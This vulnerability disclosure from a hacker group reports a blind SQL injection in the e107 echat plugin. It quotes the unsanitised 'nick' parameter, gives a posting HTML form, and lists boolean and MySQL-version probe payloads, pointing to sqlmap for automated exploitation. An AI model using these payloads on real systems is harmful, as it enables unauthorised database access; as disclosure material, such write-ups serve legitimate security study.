e107echat-sql.txt

`  
  
##################################################################################################  
# #  
# ::e107 Plugin echat MENU Blind SQL Injection Vulnerability:: #  
# #   
##################################################################################################  
  
Virangar Security Team  
  
www.virangar.net  
www.virangar.ir  
  
--------  
Discoverd By :virangar security team(hadihadi)  
  
special tnx to:MR.nosrati,black.shadowes,MR.hesy,Zahra  
  
& all virangar members & all hackerz  
  
greetz:to my best friend in the world hadi_aryaie2004  
& my lovely friend arash(imm02tal)   
  
-------vuln codes in:-----------  
e107chat.php:  
line 109: $nick = $_POST['nick'];  
..  
..  
line 171:db_Select("user","user_name","user_name='".$nick."'");  
---  
exploit:  
[-]note=becuse e107 using diffrent prefix/table names it's impossible to writting exploit for it :(  
---  
lets test the bug white a simply html form that post data to "e107chat.php" :  
-------  
<form method="post" action="http://localhost/e107/plugins/echat_menu/e107chat.php"><br>  
nick:<input type="text" name="nick" size="20">  
<br><input type="submit"><br>  
</form>  
---  
see the result:  
  
nick: hadi and 1=1-- #page loaded whit any errors.  
nick: hadi and 1=2-- #page loaded whit any data and some error  
  
  
  
cheking the mysql version:  
  
nick: hadi and substring(@@version,1,1)=5--  
or   
nick: hadi and substring(@@version,1,1)=4--  
  
# you can exploting the bug white blind sql automatic toolz such as sqlmap or ...  
---  
young iranian h4ck3rz  
  
  
  
`